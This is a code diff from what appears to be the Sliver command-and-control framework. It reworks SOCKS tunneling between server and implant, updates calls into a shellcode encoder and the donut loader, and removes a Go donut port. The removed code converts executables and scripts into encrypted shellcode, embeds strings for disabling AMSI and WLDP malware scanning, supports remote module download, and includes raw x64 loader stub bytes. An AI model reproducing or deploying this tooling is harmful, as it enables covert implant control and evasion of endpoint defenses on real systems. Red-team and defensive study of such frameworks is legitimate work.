break // Stop batching if we don't have the next expected sequence
}
func() {
defer func() {
if r := recover(); r != nil {
errChan <- fmt.Errorf("Client sender panic: %v", r)
}
}()
err := stream.Send(&sliverpb.SocksData{
CloseConn: data.CloseConn,
TunnelID: data.TunnelID,
Data: data.Data,
})
if err != nil {
rpcLog.Errorf("Send error: %v", err)
return
}
delete(pendingData, expectedSequence)
fromImplantCacheSocks.DeleteSeq(fromClient.TunnelID, expectedSequence)
atomic.AddUint64(&tunnel.FromImplantSequence, 1)
expectedSequence++
processed++
}()
}
}
}
}()
// Send Agent
wg.Add(1)
go func() {
defer wg.Done()
defer func() {
if r := recover(); r != nil {
rpcLog.Errorf("Recovered from panic in agent sender: %v", r)
errChan <- fmt.Errorf("agent sender panic: %v", r)
cancel() // Cancel context in case of a panic
}
}()
pendingData := make(map[uint64]*sliverpb.SocksData)
ticker := time.NewTicker(ToImplantTickerInterval)
defer ticker.Stop()
for {
select {
case <-ctx.Done():
return
case <-connDone:
return
case <-ticker.C:
if tunnel.Client == nil {
return
}
sequence := atomic.LoadUint64(&tunnel.ToImplantSequence)
func() {
defer func() {
if r := recover(); r != nil {
rpcLog.Errorf("Recovered from processing panic: %v", r)
}
}()
for {
recv, ok := toImplantCacheSocks.Get(fromClient.TunnelID, sequence)
if !ok {
break
}
session := core.Sessions.Get(fromClient.Request.SessionID)
if session == nil {
rpcLog.Error("Session not found")
break
}
data, err := proto.Marshal(recv)
if err != nil {
rpcLog.Errorf("Failed to marshal data: %v", err)
continue
}
select {
case session.Connection.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgSocksData,
Data: data,
}:
toImplantCacheSocks.DeleteSeq(fromClient.TunnelID, sequence)
atomic.AddUint64(&tunnel.ToImplantSequence, 1)
sequence++
case <-time.After(writeTimeout):
rpcLog.Error("Write timeout to implant")
pendingData[sequence] = recv
break
}
}
}()
}
}
}()
}
// Send Agent
go func() {
toImplantCacheSocks.Add(fromClient.TunnelID, fromClient.Sequence, fromClient)
for recv, ok := toImplantCacheSocks.Get(fromClient.TunnelID, socks.ToImplantSequence); ok; recv, ok = toImplantCacheSocks.Get(fromClient.TunnelID, socks.ToImplantSequence) {
rpcLog.Debugf("[socks] Client to (Server To Agent) Data Sequence %d , Data Size %d \n", socks.ToImplantSequence, len(fromClient.Data))
data, _ := proto.Marshal(recv)
session := core.Sessions.Get(fromClient.Request.SessionID)
session.Connection.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgSocksData,
Data: data,
}
toImplantCacheSocks.DeleteSeq(fromClient.TunnelID, socks.ToImplantSequence)
socks.ToImplantSequence++
}
}()
toImplantCacheSocks.Add(fromClient.TunnelID, fromClient.Sequence, fromClient)
}
return nil
}
// CreateSocks5 - Create requests we close a Socks
@@ -169,11 +404,48 @@ func (s *Server) CreateSocks(ctx context.Context, req *sliverpb.Socks) (*sliverp
// CloseSocks - Client requests we close a Socks
func (s *Server) CloseSocks(ctx context.Context, req *sliverpb.Socks) (*commonpb.Empty, error) {
err := core.SocksTunnels.Close(req.TunnelID)
defer func() {
if r := recover(); r != nil {
rpcLog.Errorf("Recovered from panic in CloseSocks for tunnel %d: %v", req.TunnelID, r)
}
}()
tunnel := core.SocksTunnels.Get(req.TunnelID)
if tunnel != nil {
// Signal close to implant first
if session := core.Sessions.Get(tunnel.SessionID); session != nil {
data, _ := proto.Marshal(&sliverpb.SocksData{
TunnelID: req.TunnelID,
CloseConn: true,
})
session.Connection.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgSocksData,
Data: data,
}
}
time.Sleep(100 * time.Millisecond) // Delay to allow close message to be sent
tunnel.Client = nil // Cleanup the tunnel
if tunnel.FromImplant != nil {
select {
case _, ok := <-tunnel.FromImplant:
if ok {
close(tunnel.FromImplant)
}
default:
close(tunnel.FromImplant)
}
tunnel.FromImplant = nil
}
}
// Clean up caches
toImplantCacheSocks.DeleteTun(req.TunnelID)
fromImplantCacheSocks.DeleteTun(req.TunnelID)
if err != nil {
return nil, rpcError(err)
// Remove from core tunnels last
if err := core.SocksTunnels.Close(req.TunnelID); err != nil {
rpcLog.Errorf("Error closing tunnel %d: %v", req.TunnelID, err)
}
return &commonpb.Empty{}, nil
}
+4 -3
View File
@@ -38,7 +38,7 @@ import (
"github.com/bishopfox/sliver/server/db/models"
"github.com/bishopfox/sliver/server/generate"
"github.com/bishopfox/sliver/server/log"
"github.com/bishopfox/sliver/server/sgn"
"github.com/bishopfox/sliver/server/encoders/shellcode/sgn"
"github.com/bishopfox/sliver/util"
"google.golang.org/grpc/codes"
@@ -202,6 +202,7 @@ func (rpc *Server) ExecuteAssembly(ctx context.Context, req *sliverpb.ExecuteAss
req.Method,
req.ClassName,
req.AppDomain,
req.Runtime,
)
if err != nil {
tasksLog.Errorf("Execute assembly failed: %s", err)
@@ -266,7 +267,7 @@ func (rpc *Server) Sideload(ctx context.Context, req *sliverpb.SideloadReq) (*sl
}
if getOS(session, beacon) == "windows" {
shellcode, err := generate.DonutShellcodeFromPE(req.Data, arch, false, strings.Join(req.Args, " "), "", req.EntryPoint, req.IsDLL, req.IsUnicode, false)
shellcode, err := generate.DonutShellcodeFromPE(req.Data, arch, false, strings.Join(req.Args, " "), "", req.EntryPoint, req.IsDLL, req.IsUnicode, false, nil)
if err != nil {
tasksLog.Errorf("Sideload failed: %s", err)
return nil, status.Error(codes.InvalidArgument, err.Error())
@@ -372,7 +373,7 @@ func getSliverShellcode(name string) ([]byte, string, error) {
if err != nil {
return []byte{}, "", err
}
data, err = generate.DonutShellcodeFromPE(fileData, config.GOARCH, false, "", "", "", false, false, false)
data, err = generate.DonutShellcodeFromPE(fileData, config.GOARCH, false, "", "", "", false, false, false, config.DonutConfig)
if err != nil {
rpcLog.Errorf("DonutShellcodeFromPE error: %v\n", err)
return []byte{}, "", err
+2 -2
View File
@@ -1,9 +1,9 @@
package assets
const (
goVersion = "1.25.5"
goVersion = "1.25.6"
zigVersion = "0.15.2"
garbleVersion = "1.25.5"
garbleVersion = "1.25.6"
zigSourceParam = "source=sliver"
zigMinisignPublicKey = "RWSGOq2NVecA2UPNdBUZykf1CCb147pkmdtYxgb3Ti+JO/wCYvhbAb/U"
-29
View File
@@ -1,29 +0,0 @@
BSD 3-Clause License
Copyright (c) 2019, Binject
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
3. Neither the name of the copyright holder nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
-500
View File
@@ -1,500 +0,0 @@
package donut
import (
"bytes"
"encoding/binary"
"io/ioutil"
"log"
"path/filepath"
"strings"
"github.com/Binject/debug/pe"
)
/*
This code imports PE files and converts them to shellcode using the algorithm and stubs taken
from the donut loader: https://github.com/TheWover/donut
You can also use the native-code donut tools to do this conversion.
This has the donut stubs hard-coded as arrays, so if something rots,
try updating the stubs to latest donut first.
*/
// ShellcodeFromURL - Downloads a PE from URL, makes shellcode
func ShellcodeFromURL(fileURL string, config *DonutConfig) (*bytes.Buffer, error) {
buf, err := DownloadFile(fileURL)
if err != nil {
return nil, err
}
// todo: set things up in config
return ShellcodeFromBytes(buf, config)
}
// DetectDotNet - returns true if a .NET assembly. 2nd return value is detected version string.
func DetectDotNet(filename string) (bool, string) {
// auto-detect .NET assemblies and version
pefile, err := pe.Open(filename)
if err != nil {
return false, ""
}
defer pefile.Close()
return pefile.IsManaged(), pefile.NetCLRVersion()
}
// ShellcodeFromFile - Loads PE from file, makes shellcode
func ShellcodeFromFile(filename string, config *DonutConfig) (*bytes.Buffer, error) {
switch strings.ToLower(filepath.Ext(filename)) {
case ".exe":
dotNetMode, dotNetVersion := DetectDotNet(filename)
if dotNetMode {
config.Type = DONUT_MODULE_NET_EXE
} else {
config.Type = DONUT_MODULE_EXE
}
if dotNetVersion != "" && config.Runtime == "" {
config.Runtime = dotNetVersion
}
case ".dll":
dotNetMode, dotNetVersion := DetectDotNet(filename)
if dotNetMode {
config.Type = DONUT_MODULE_NET_DLL
} else {
config.Type = DONUT_MODULE_DLL
}
if dotNetVersion != "" && config.Runtime == "" {
config.Runtime = dotNetVersion
}
case ".xsl":
config.Type = DONUT_MODULE_XSL
case ".js":
config.Type = DONUT_MODULE_JS
case ".vbs":
config.Type = DONUT_MODULE_VBS
}
b, err := ioutil.ReadFile(filename)
if err != nil {
return nil, err
}
return ShellcodeFromBytes(bytes.NewBuffer(b), config)
}
// ShellcodeFromBytes - Passed a PE as byte array, makes shellcode
func ShellcodeFromBytes(buf *bytes.Buffer, config *DonutConfig) (*bytes.Buffer, error) {
if err := CreateModule(config, buf); err != nil {
return nil, err
}
instance, err := CreateInstance(config)
if err != nil {
return nil, err
}
// If the module will be stored on a remote server
if config.InstType == DONUT_INSTANCE_URL {
if config.Verbose {
log.Printf("Saving %s to disk.\n", config.ModuleName)
}
// save the module to disk using random name
instance.Write([]byte{0, 0, 0, 0, 0, 0, 0, 0}) // mystery padding
config.ModuleData.Write([]byte{0, 0, 0, 0, 0, 0, 0, 0}) // mystery padding
ioutil.WriteFile(config.ModuleName, config.ModuleData.Bytes(), 0644)
}
//ioutil.WriteFile("newinst.bin", instance.Bytes(), 0644)
return Sandwich(config.Arch, instance)
}
// Sandwich - adds the donut prefix in the beginning (stomps DOS header), then payload, then donut stub at the end
func Sandwich(arch DonutArch, payload *bytes.Buffer) (*bytes.Buffer, error) {
/*
Disassembly:
0: e8 call $+
1: xx xx xx xx instance length
5: [instance]
x=5+instanceLen: 0x59 pop ecx
x+1: stub preamble + stub (either 32 or 64 bit or both)
*/
w := new(bytes.Buffer)
instanceLen := uint32(payload.Len())
w.WriteByte(0xE8)
binary.Write(w, binary.LittleEndian, instanceLen)
if _, err := payload.WriteTo(w); err != nil {
return nil, err
}
w.WriteByte(0x59)
picLen := int(instanceLen) + 32
switch arch {
case X32:
w.WriteByte(0x5A) // preamble: pop edx, push ecx, push edx
w.WriteByte(0x51)
w.WriteByte(0x52)
w.Write(LOADER_EXE_X86)
picLen += len(LOADER_EXE_X86)
case X64:
w.Write(LOADER_EXE_X64)
picLen += len(LOADER_EXE_X64)
case X84:
w.WriteByte(0x31) // preamble: xor eax,eax
w.WriteByte(0xC0)
w.WriteByte(0x48) // dec ecx
w.WriteByte(0x0F) // js dword x86_code (skips length of x64 code)
w.WriteByte(0x88)
binary.Write(w, binary.LittleEndian, uint32(len(LOADER_EXE_X64)))
w.Write(LOADER_EXE_X64)
w.Write([]byte{0x5A, // in between 32/64 stubs: pop edx
0x51, // push ecx
0x52}) // push edx
w.Write(LOADER_EXE_X86)
picLen += len(LOADER_EXE_X86)
picLen += len(LOADER_EXE_X64)
}
lb := w.Len()
for i := 0; i < picLen-lb; i++ {
w.WriteByte(0x0)
}
return w, nil
}
// CreateModule - Creates the Donut Module from Config
func CreateModule(config *DonutConfig, inputFile *bytes.Buffer) error {
mod := new(DonutModule)
mod.ModType = uint32(config.Type)
mod.Thread = uint32(config.Thread)
mod.Unicode = uint32(config.Unicode)
mod.Compress = uint32(config.Compress)
if config.Type == DONUT_MODULE_NET_DLL ||
config.Type == DONUT_MODULE_NET_EXE {
if config.Domain == "" && config.Entropy != DONUT_ENTROPY_NONE { // If no domain name specified, generate a random one
config.Domain = RandomString(DONUT_DOMAIN_LEN)
} else {
config.Domain = "AAAAAAAA"
}
copy(mod.Domain[:], []byte(config.Domain)[:])
if config.Type == DONUT_MODULE_NET_DLL {
if config.Verbose {
log.Println("Class:", config.Class)
}
copy(mod.Cls[:], []byte(config.Class)[:])
if config.Verbose {
log.Println("Method:", config.Method)
}
copy(mod.Method[:], []byte(config.Method)[:])
}
// If no runtime specified in configuration, use default
if config.Runtime == "" {
config.Runtime = "v2.0.50727"
}
if config.Verbose {
log.Println("Runtime:", config.Runtime)
}
copy(mod.Runtime[:], []byte(config.Runtime)[:])
} else if config.Type == DONUT_MODULE_DLL && config.Method != "" { // Unmanaged DLL? check for exported api
if config.Verbose {
log.Println("DLL function:", config.Method)
}
copy(mod.Method[:], []byte(config.Method))
}
mod.Zlen = 0 // todo: support compression
mod.Len = uint32(inputFile.Len())
if config.Parameters != "" {
// if type is unmanaged EXE
if config.Type == DONUT_MODULE_EXE {
// and entropy is enabled
if config.Entropy != DONUT_ENTROPY_NONE {
// generate random name
copy(mod.Param[:], []byte(RandomString(DONUT_DOMAIN_LEN) + " ")[:])
copy(mod.Param[DONUT_DOMAIN_LEN+1:], []byte(config.Parameters)[:])
} else {
// else set to "AAAA "
copy(mod.Param[:], []byte("AAAAAAAA ")[:])
copy(mod.Param[9:], []byte(config.Parameters)[:])
}
} else {
copy(mod.Param[:], []byte(config.Parameters)[:])
}
}
// read module into memory
b := new(bytes.Buffer)
mod.WriteTo(b)
inputFile.WriteTo(b)
config.ModuleData = b
// update configuration with pointer to module
config.Module = mod
return nil
}
// CreateInstance - Creates the Donut Instance from Config
func CreateInstance(config *DonutConfig) (*bytes.Buffer, error) {
inst := new(DonutInstance)
modLen := uint32(config.ModuleData.Len()) // ModuleData is mod struct + input file
instLen := uint32(3312 + 352 + 8) //todo: that's how big it is in the C version...
inst.Bypass = uint32(config.Bypass)
// if this is a PIC instance, add the size of module
// that will be appended to the end of structure
if config.InstType == DONUT_INSTANCE_PIC {
if config.Verbose {
log.Printf("The size of module is %v bytes. Adding to size of instance.\n", modLen)
}
instLen += modLen
}
if config.Entropy == DONUT_ENTROPY_DEFAULT {
if config.Verbose {
log.Println("Generating random key for instance")
}
tk, err := GenerateRandomBytes(16)
if err != nil {
return nil, err
}
copy(inst.KeyMk[:], tk)
tk, err = GenerateRandomBytes(16)
if err != nil {
return nil, err
}
copy(inst.KeyCtr[:], tk)
if config.Verbose {
log.Println("Generating random key for module")
}
tk, err = GenerateRandomBytes(16)
if err != nil {
return nil, err
}
copy(inst.ModKeyMk[:], tk)
tk, err = GenerateRandomBytes(16)
if err != nil {
return nil, err
}
copy(inst.ModKeyCtr[:], tk)
if config.Verbose {
log.Println("Generating random string to verify decryption")
}
sbsig := RandomString(DONUT_SIG_LEN)
copy(inst.Sig[:], []byte(sbsig))
if config.Verbose {
log.Println("Generating random IV for Maru hash")
}
iv, err := GenerateRandomBytes(MARU_IV_LEN)
if err != nil {
return nil, err
}
inst.Iv = binary.LittleEndian.Uint64(iv)
inst.Mac = Maru(inst.Sig[:], inst.Iv)
}
if config.Verbose {
log.Println("Generating hashes for API using IV:", inst.Iv)
}
for cnt, c := range api_imports {
// calculate hash for DLL string
dllHash := Maru([]byte(c.Module), inst.Iv)
// calculate hash for API string.
// xor with DLL hash and store in instance
inst.Hash[cnt] = Maru([]byte(c.Name), inst.Iv) ^ dllHash
if config.Verbose {
log.Printf("Hash for %s : %s = %x\n",
c.Module,
c.Name,
inst.Hash[cnt])
}
}
// save how many API to resolve
inst.ApiCount = uint32(len(api_imports))
copy(inst.DllNames[:], "ole32;oleaut32;wininet;mscoree;shell32")
// if module is .NET assembly
if config.Type == DONUT_MODULE_NET_DLL ||
config.Type == DONUT_MODULE_NET_EXE {
if config.Verbose {
log.Println("Copying GUID structures and DLL strings for loading .NET assemblies")
}
copy(inst.XIID_AppDomain[:], xIID_AppDomain[:])
copy(inst.XIID_ICLRMetaHost[:], xIID_ICLRMetaHost[:])
copy(inst.XCLSID_CLRMetaHost[:], xCLSID_CLRMetaHost[:])
copy(inst.XIID_ICLRRuntimeInfo[:], xIID_ICLRRuntimeInfo[:])
copy(inst.XIID_ICorRuntimeHost[:], xIID_ICorRuntimeHost[:])
copy(inst.XCLSID_CorRuntimeHost[:], xCLSID_CorRuntimeHost[:])
} else if config.Type == DONUT_MODULE_VBS ||
config.Type == DONUT_MODULE_JS {
if config.Verbose {
log.Println("Copying GUID structures and DLL strings for loading VBS/JS")
}
copy(inst.XIID_IUnknown[:], xIID_IUnknown[:])
copy(inst.XIID_IDispatch[:], xIID_IDispatch[:])
copy(inst.XIID_IHost[:], xIID_IHost[:])
copy(inst.XIID_IActiveScript[:], xIID_IActiveScript[:])
copy(inst.XIID_IActiveScriptSite[:], xIID_IActiveScriptSite[:])
copy(inst.XIID_IActiveScriptSiteWindow[:], xIID_IActiveScriptSiteWindow[:])
copy(inst.XIID_IActiveScriptParse32[:], xIID_IActiveScriptParse32[:])
copy(inst.XIID_IActiveScriptParse64[:], xIID_IActiveScriptParse64[:])
copy(inst.Wscript[:], "WScript")
copy(inst.Wscript_exe[:], "wscript.exe")
if config.Type == DONUT_MODULE_VBS {
copy(inst.XCLSID_ScriptLanguage[:], xCLSID_VBScript[:])
} else {
copy(inst.XCLSID_ScriptLanguage[:], xCLSID_JScript[:])
}
}
// required to disable AMSI
copy(inst.Clr[:], "clr")
copy(inst.Amsi[:], "amsi")
copy(inst.AmsiInit[:], "AmsiInitialize")
copy(inst.AmsiScanBuf[:], "AmsiScanBuffer")
copy(inst.AmsiScanStr[:], "AmsiScanString")
// stuff for PE loader
if len(config.Parameters) > 0 {
copy(inst.Dataname[:], ".data")
copy(inst.Kernelbase[:], "kernelbase")
copy(inst.CmdSyms[:],
"_acmdln;__argv;__p__acmdln;__p___argv;_wcmdln;__wargv;__p__wcmdln;__p___wargv")
}
if config.Thread != 0 {
copy(inst.ExitApi[:], "ExitProcess;exit;_exit;_cexit;_c_exit;quick_exit;_Exit")
}
// required to disable WLDP
copy(inst.Wldp[:], "wldp")
copy(inst.WldpQuery[:], "WldpQueryDynamicCodeTrust")
copy(inst.WldpIsApproved[:], "WldpIsClassInApprovedList")
// set the type of instance we're creating
inst.Type = uint32(int(config.InstType))
// indicate if we should call RtlExitUserProcess to terminate host process
inst.ExitOpt = config.ExitOpt
// set the fork option
inst.OEP = config.OEP
// set the entropy level
inst.Entropy = config.Entropy
// if the module will be downloaded
// set the URL parameter and request verb
if inst.Type == DONUT_INSTANCE_URL {
if config.ModuleName != "" {
if config.Entropy != DONUT_ENTROPY_NONE {
// generate a random name for module
// that will be saved to disk
config.ModuleName = RandomString(DONUT_MAX_MODNAME)
if config.Verbose {
log.Println("Generated random name for module :", config.ModuleName)
}
} else {
config.ModuleName = "AAAAAAAA"
}
}
if config.Verbose {
log.Println("Setting URL parameters")
}
// append module name
copy(inst.Url[:], config.URL+"/"+config.ModuleName)
// set the request verb
copy(inst.Req[:], "GET")
if config.Verbose {
log.Println("Payload will attempt download from:", string(inst.Url[:]))
}
}
inst.Mod_len = uint64(modLen) + 8 //todo: this 8 is from alignment I think?
inst.Len = instLen
config.inst = inst
config.instLen = instLen
if config.InstType == DONUT_INSTANCE_URL && config.Entropy == DONUT_ENTROPY_DEFAULT {
if config.Verbose {
log.Println("encrypting module for download")
}
config.ModuleMac = Maru(inst.Sig[:], inst.Iv)
config.ModuleData = bytes.NewBuffer(Encrypt(
inst.ModKeyMk[:],
inst.ModKeyCtr[:],
config.ModuleData.Bytes()))
b := new(bytes.Buffer)
inst.Len = instLen - 8 /* magic padding */
inst.WriteTo(b)
for uint32(b.Len()) < instLen-16 /* magic padding */ {
b.WriteByte(0)
}
return b, nil
}
// else if config.InstType == DONUT_INSTANCE_PIC
b := new(bytes.Buffer)
inst.WriteTo(b)
if _, err := config.ModuleData.WriteTo(b); err != nil {
log.Fatal(err)
}
for uint32(b.Len()) < config.instLen {
b.WriteByte(0)
}
if config.Entropy != DONUT_ENTROPY_DEFAULT {
return b, nil
}
if config.Verbose {
log.Println("encrypting instance")
}
instData := b.Bytes()
offset := 4 + // Len uint32
CipherKeyLen + CipherBlockLen + // Instance Crypt
4 + // pad
8 + // IV
(64 * 8) + // Hashes (64 uuids of len 64bit)
4 + // exit_opt
4 + // entropy
8 // OEP
encInstData := Encrypt(
inst.KeyMk[:],
inst.KeyCtr[:],
instData[offset:])
bc := new(bytes.Buffer)
binary.Write(bc, binary.LittleEndian, instData[:offset]) // unencrypted header
if _, err := bc.Write(encInstData); err != nil { // encrypted body
log.Fatal(err)
}
if config.Verbose {
log.Println("Leaving.")
}
return bc, nil
}
// DefaultConfig - returns a default donut config for x32+64, EXE, native binary
func DefaultConfig() *DonutConfig {
return &DonutConfig{
Arch: X84,
Type: DONUT_MODULE_EXE,
InstType: DONUT_INSTANCE_PIC,
Entropy: DONUT_ENTROPY_DEFAULT,
Compress: 1,
Format: 1,
Bypass: 3,
}
}
-191
View File
@@ -1,191 +0,0 @@
package donut
import (
"bufio"
"bytes"
"encoding/binary"
)
// Chaskey Implementation ported from donut
const (
// CipherBlockLen - Chaskey Block Length
CipherBlockLen = uint32(128 / 8)
// CipherKeyLen - Chaskey Key Length
CipherKeyLen = uint32(128 / 8)
)
// ROTR32 - rotates a byte right (same as (32 - n) left)
func ROTR32(v uint32, n uint32) uint32 {
return (v >> n) | (v << (32 - n))
}
// Chaskey Encryption Function
func Chaskey(masterKey []byte, data []byte) []byte {
// convert inputs to []uint32
mk := BytesToUint32s(masterKey)
p := BytesToUint32s(data)
// add 128-bit master key
for i := 0; i < 4; i++ {
p[i] ^= mk[i]
}
// apply 16 rounds of permutation
for i := 0; i < 16; i++ {
p[0] += p[1]
p[1] = ROTR32(p[1], 27) ^ p[0]
p[2] += p[3]
p[3] = ROTR32(p[3], 24) ^ p[2]
p[2] += p[1]
p[0] = ROTR32(p[0], 16) + p[3]
p[3] = ROTR32(p[3], 19) ^ p[0]
p[1] = ROTR32(p[1], 25) ^ p[2]
p[2] = ROTR32(p[2], 16)
}
// add 128-bit master key
for i := 0; i < 4; i++ {
p[i] ^= mk[i]
}
// convert to []byte for XOR phase
b := bytes.NewBuffer([]byte{})
w := bufio.NewWriter(b)
for _, v := range p {
binary.Write(w, binary.LittleEndian, v)
}
w.Flush()
return b.Bytes()
}
// BytesToUint32s - converts a Byte array to an array of uint32s
func BytesToUint32s(inbytes []byte) []uint32 {
mb := bytes.NewBuffer(inbytes)
r := bufio.NewReader(mb)
var outints []uint32
for i := 0; i < len(inbytes); i = i + 4 {
var tb uint32
binary.Read(r, binary.LittleEndian, &tb)
outints = append(outints, tb)
}
return outints
}
// Encrypt - encrypt/decrypt data in counter mode
func Encrypt(mk []byte, ctr []byte, data []byte) []byte {
length := uint32(len(data))
x := make([]byte, CipherBlockLen)
p := uint32(0) // data blocks counter
retval := make([]byte, length)
for length > 0 {
// copy counter+nonce to local buffer
copy(x[:CipherBlockLen], ctr[:CipherBlockLen])
// donut_encrypt x
x = Chaskey(mk, x)
// XOR plaintext with ciphertext
r := uint32(0)
if length > CipherBlockLen {
r = CipherBlockLen
} else {
r = length
}
for i := uint32(0); i < r; i++ {
retval[i+p] = data[i+p] ^ x[i]
}
// update length + position
length -= r
p += r
// update counter
for i := CipherBlockLen - 1; i >= 0; i-- {
ctr[i]++
if ctr[i] != 0 {
break
}
}
}
return retval
}
// Speck 64/128
func Speck(mk []byte, p uint64) uint64 {
w := make([]uint32, 2)
buf := new(bytes.Buffer)
binary.Write(buf, binary.LittleEndian, p)
binary.Read(buf, binary.LittleEndian, &w[0])
binary.Read(buf, binary.LittleEndian, &w[1])
k := make([]uint32, 4)
r := bytes.NewBuffer(mk)
for c := 0; c < 4; c++ {
binary.Read(r, binary.LittleEndian, &k[c])
}
for i := uint32(0); i < 27; i++ {
// encrypt 64-bit plaintext
w[0] = (ROTR32(w[0], 8) + w[1]) ^ k[0]
w[1] = ROTR32(w[1], 29) ^ w[0]
// create next 32-bit subkey
t := k[3]
k[3] = (ROTR32(k[1], 8) + k[0]) ^ i
k[0] = ROTR32(k[0], 29) ^ k[3]
k[1] = k[2]
k[2] = t
}
// return 64-bit ciphertext
b := bytes.NewBuffer([]byte{})
binary.Write(b, binary.LittleEndian, w[0])
binary.Write(b, binary.LittleEndian, w[1])
num := binary.LittleEndian.Uint64(b.Bytes())
return num
}
// Maru hash
func Maru(input []byte, iv uint64) uint64 { // todo: iv and return must be 8 bytes
// set H to initial value
//h := binary.LittleEndian.Uint64(iv)
h := iv
b := make([]byte, MARU_BLK_LEN)
idx, length, end := 0, 0, 0
for {
if end > 0 {
break
}
// end of string or max len?
if length == len(input) || input[length] == 0 || length == MARU_MAX_STR {
// zero remainder of M
for j := idx; j < MARU_BLK_LEN; /*-idx*/ j++ {
b[j] = 0
}
// store the end bit
b[idx] = 0x80
// have we space in M for api length?
if idx >= MARU_BLK_LEN-4 {
// no, update H with E
h ^= Speck(b, h)
// zero M
b = make([]byte, MARU_BLK_LEN)
}
// store total length in bits
binary.LittleEndian.PutUint32(b[MARU_BLK_LEN-4:], uint32(length)*8)
idx = MARU_BLK_LEN
end++
} else {
// store character from api string
b[idx] = input[length]
idx++
length++
}
if idx == MARU_BLK_LEN {
// update H with E
h ^= Speck(b, h)
// reset idx
idx = 0
}
}
return h
}
-885
View File
@@ -1,885 +0,0 @@
package donut
// LOADER_EXE_X64 - stub for EXE PE files
var LOADER_EXE_X64 = []byte{
0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x6c, 0x24, 0x10, 0x48, 0x89,
0x74, 0x24, 0x18, 0x57, 0x48, 0x81, 0xec, 0x00, 0x05, 0x00, 0x00, 0x33,
0xff, 0x48, 0x8b, 0xd9, 0x48, 0x39, 0xb9, 0x38, 0x02, 0x00, 0x00, 0x0f,
0x84, 0xc0, 0x00, 0x00, 0x00, 0x4c, 0x8b, 0x41, 0x28, 0x48, 0x8b, 0x91,
0x88, 0x00, 0x00, 0x00, 0xe8, 0x1f, 0x23, 0x00, 0x00, 0x48, 0x85, 0xc0,
0x0f, 0x84, 0xa1, 0x00, 0x00, 0x00, 0x48, 0x21, 0x7c, 0x24, 0x28, 0x4c,
0x8d, 0x05, 0x32, 0x11, 0x00, 0x00, 0x21, 0x7c, 0x24, 0x20, 0x4c, 0x8b,
0xcb, 0x33, 0xd2, 0x33, 0xc9, 0xff, 0xd0, 0x4c, 0x8b, 0x43, 0x28, 0x48,
0x8b, 0xcb, 0x48, 0x8b, 0x93, 0xb8, 0x01, 0x00, 0x00, 0x48, 0x8b, 0xf8,
0xe8, 0xe7, 0x22, 0x00, 0x00, 0x4c, 0x8b, 0x43, 0x28, 0x48, 0x8b, 0xcb,
0x48, 0x8b, 0x93, 0x90, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xe8, 0xe8, 0xd1,
0x22, 0x00, 0x00, 0x4c, 0x8b, 0x43, 0x28, 0x48, 0x8b, 0xcb, 0x48, 0x8b,
0x93, 0x98, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xf0, 0xe8, 0xbb, 0x22, 0x00,
0x00, 0x48, 0x85, 0xed, 0x74, 0x4c, 0x48, 0x85, 0xf6, 0x74, 0x47, 0x48,
0x85, 0xc0, 0x74, 0x42, 0xc7, 0x44, 0x24, 0x60, 0x0b, 0x00, 0x10, 0x00,
0xff, 0xd0, 0x48, 0x8b, 0xc8, 0x48, 0x8d, 0x54, 0x24, 0x30, 0xff, 0xd6,
0x48, 0x8b, 0x83, 0x38, 0x02, 0x00, 0x00, 0x48, 0x8d, 0x4c, 0x24, 0x30,
0x48, 0x83, 0xa4, 0x24, 0xc8, 0x00, 0x00, 0x00, 0xf0, 0x33, 0xd2, 0x48,
0x89, 0x84, 0x24, 0x28, 0x01, 0x00, 0x00, 0xff, 0xd5, 0xeb, 0x0b, 0x48,
0x83, 0xc8, 0xff, 0xeb, 0x08, 0xe8, 0x92, 0x10, 0x00, 0x00, 0x48, 0x8b,
0xc7, 0x4c, 0x8d, 0x9c, 0x24, 0x00, 0x05, 0x00, 0x00, 0x49, 0x8b, 0x5b,
0x10, 0x49, 0x8b, 0x6b, 0x18, 0x49, 0x8b, 0x73, 0x20, 0x49, 0x8b, 0xe3,
0x5f, 0xc3, 0xcc, 0xcc, 0xf0, 0xff, 0x41, 0x08, 0x8b, 0x41, 0x08, 0xc3,
0xb8, 0x01, 0x40, 0x00, 0x80, 0xc3, 0xcc, 0xcc, 0x4d, 0x85, 0xc0, 0x75,
0x06, 0xb8, 0x03, 0x40, 0x00, 0x80, 0xc3, 0x4c, 0x8b, 0x49, 0x10, 0x49,
0x8b, 0x81, 0xf4, 0x05, 0x00, 0x00, 0x48, 0x3b, 0x02, 0x75, 0x0d, 0x49,
0x8b, 0x81, 0xfc, 0x05, 0x00, 0x00, 0x48, 0x3b, 0x42, 0x08, 0x74, 0x19,
0x49, 0x8b, 0x81, 0xb4, 0x06, 0x00, 0x00, 0x48, 0x3b, 0x02, 0x75, 0x17,
0x49, 0x8b, 0x81, 0xbc, 0x06, 0x00, 0x00, 0x48, 0x3b, 0x42, 0x08, 0x75,
